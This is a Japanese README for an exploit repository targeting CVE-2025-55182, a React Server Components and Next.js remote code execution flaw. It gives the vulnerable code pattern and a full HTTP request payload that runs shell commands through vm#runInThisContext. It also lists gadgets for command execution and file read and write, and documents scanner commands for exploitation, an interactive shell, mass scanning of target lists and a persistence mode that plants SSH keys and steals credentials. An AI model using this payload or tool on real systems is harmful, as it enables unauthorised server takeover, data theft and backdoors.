
統合セキュリティ研究ツール
セキュリティ研究 by schema.cx
"制御は幻想だ。我々を制御するのは、我々が構築したシステムだ—まずそれを理解しない限り。"
このツールは認可されたセキュリティテスト専用です
停止。続行する前にこれを読んでください。
このリポジトリには、重大なセキュリティ脆弱性の概念実証コードが含まれています。このリポジトリの資料にアクセス、ダウンロード、または使用することにより、以下の内容を確認し同意したものとみなされます。
書面による承認が必要: セキュリティテストを実施する前に、システム所有者からの明示的な書面による許可が必要です。口頭での同意は不十分です。
範囲の制限: テストは、承認書に明示的に記載されたシステムに限定する必要があります。「スコープクリープ」は許可されません。
適用される法律: コンピュータシステムへの不正アクセスは以下に違反します:
このリポジトリの著者および貢献者は:
"問題は、脆弱性を悪用できるかどうかではない。悪用すべきかどうか、そしてその目的は何かだ。"
CVE-2025-55182 は、React 19.x および Next.js 15.x-16.x アプリケーションの React Server Components に影響を与える 認証前の重大なリモートコード実行 (RCE) 脆弱性です。
この脆弱性により、ネットワークアクセスを持つ 認証されていない攻撃者 が脆弱なアプリケーションのサーバー上で任意のコマンドを実行できます。攻撃には認証情報もユーザーの操作も不要で、完全に自動化できます。悪用に成功すると、以下につながります:
| 指標 | 評価 |
|---|---|
| CVSS v3.1 基本スコア | 10.0 CRITICAL |
| 攻撃元区分 | ネットワーク |
| 攻撃複雑性 | 低 |
| 必要な権限 | 不要 |
| ユーザー関与 | 不要 |
| 影響 (機密性/完全性/可用性) | 高 / 高 / 高 |
"人々はシステムを理解していないから信頼する。その信頼こそが脆弱性だ。"
この脆弱性は、ReactのFlightプロトコル実装内の requireModule 関数に存在します。この関数は、ユーザーが制御する入力に基づいてモジュールのエクスポートにアクセスするために ブラケット記法 を使用しており、要求されたプロパティがモジュールの 自身のプロパティ (own property) であることを検証しません。
脆弱なコードの場所:
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
関数: requireModule (v19.0.0 の約2546-2558行)
脆弱なパターン:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... async handling ...
return moduleExports[metadata[2]]; // ← 脆弱: hasOwnProperty チェックなし
}
攻撃はJavaScriptの プロトタイプチェーントラバーサル を利用します:
$ACTION_0:0 フィールドには、攻撃者が制御する id (module#export形式) と bound (引数) プロパティを含むJSONが含まれるconstructor のようなエクスポートを指定したり、プロトタイププロパティにアクセスすることで、攻撃者は組み込みのNode.jsモジュールを参照できるvm.runInThisContext, child_process.execSync, fs.readFileSync などの関数が攻撃者から提供された引数で実行されるHTTP POST /formaction
↓
decodeAction(formData, serverManifest)
↓
loadServerReference(manifest, value.id, value.bound)
↓
resolveServerReference(config, id) // "module#export"形式を解析
↓
requireModule(metadata)
↓
moduleExports[metadata[2]] // プロトタイプチェーンアクセス → RCE
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--
| ガジェット | モジュール | 説明 | 影響 |
|---|---|---|---|
vm#runInThisContext | vm | 現在のコンテキストでJSを実行 | 直接RCE |
vm#runInNewContext | vm | サンドボックス内でJSを実行 (脱出可能) | 直接RCE |
child_process#execSync | child_process | シェルコマンドを実行 | 直接RCE |
child_process#spawnSync | child_process | プロセスを起動 | 直接RCE |
fs#readFileSync | fs | 任意のファイルを読み取り | データ窃取 |
fs#writeFileSync | fs | 任意のファイルを書き込み | 永続化/バックドア |
module#_load | module | JSモジュールを読み込む (2段階RCE) | 間接RCE |
"あらゆるシステムにはドアがある。問題は、あなた自身が鍵を作ったのか、それとも訪問者を想定していなかった誰かから受け継いだのかだ。"
| 製品 | 脆弱なバージョン | 修正済みバージョン |
|---|---|---|
| React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1+, 19.1.2+, 19.2.1+ |
| Next.js | 15.x, 16.x (脆弱なReactを使用) | パッチ適用済みReactを使用するバージョン |
vm, child_process, fs などのモジュールがwebpackバンドル内にある必要がある| モジュール | バンドルに含まれる可能性 | 一般的なソース |
|---|---|---|
fs | 非常に高い | fs-extra, gray-matter, multer, sharp, chokidar |
child_process | 中程度から高い | execa, shelljs, puppeteer, sharp, pdf generators |
vm | 低いから中程度 | ejs, pug, template engines |
module | 非常に低い | tsx, ts-node (通常CLIのみ) |
このリポジトリには、複数の操作モードを備えた包括的なPythonベースのセキュリティスキャナーが含まれています。
CVE-2025-55182-poc/
├── README.md # このファイル
├── scanner/
│ ├── __init__.py # Pythonパッケージ初期化
│ ├── scanner.py # メイン統合スキャナー (6モード)
│ ├── readme.md # スキャナーの詳細ドキュメント
│ ├── requirements.txt # Python依存関係
│ └── docs/
│ ├── TECHNICAL-ANALYSIS.md # 脆弱性の詳細分析
│ └── VULNERABLE-PACKAGES.md # 影響を受けるパッケージバージョン
インストール:
cd scanner
pip install -r requirements.txt
脆弱性スキャン:
# ターゲットが脆弱かどうかを確認
python scanner.py scan https://target.com
ガジェット検出:
# 利用可能なRCEガジェットを特定
python scanner.py exploit https://target.com --detect-gadgets
コマンド実行 (許可あり):
# 脆弱なターゲットでコマンドを実行
python scanner.py exploit https://target.com -c "whoami"
バッチテスト:
# ファイルから複数のターゲットをテスト
python scanner.py batch -f targets.txt -o results.json
自動スキャンと検証:
# 検証付きの包括的なスキャン
python scanner.py auto -f targets.txt -o report.txt
脆弱なターゲット:
[+] VULNERABLE to CVE-2025-55182!
Framework: Next.js
Version: 15.1.0
Confidence: HIGH
Available Gadgets:
✓ vm#runInThisContext
✓ child_process#execSync
✓ fs#readFileSync
✓ fs#writeFileSync
修正済みターゲット:
[-] Not vulnerable or unable to determine
Framework detected: Next.js
Version: 15.2.0 (patched)
| モード | 目的 |
|---|---|
scan | 脆弱性検出とフィンガープリンティング |
exploit | 特定のガジェットを使用した制御された悪用 |
shell | 脆弱なターゲットでの対話型コマンドシェル |
batch | 統計情報を使用した複数URLのテスト |
auto | 検証付き自動マルチターゲットスキャン |
persist | 永続化攻撃のデモ (SSHキー、認証情報) |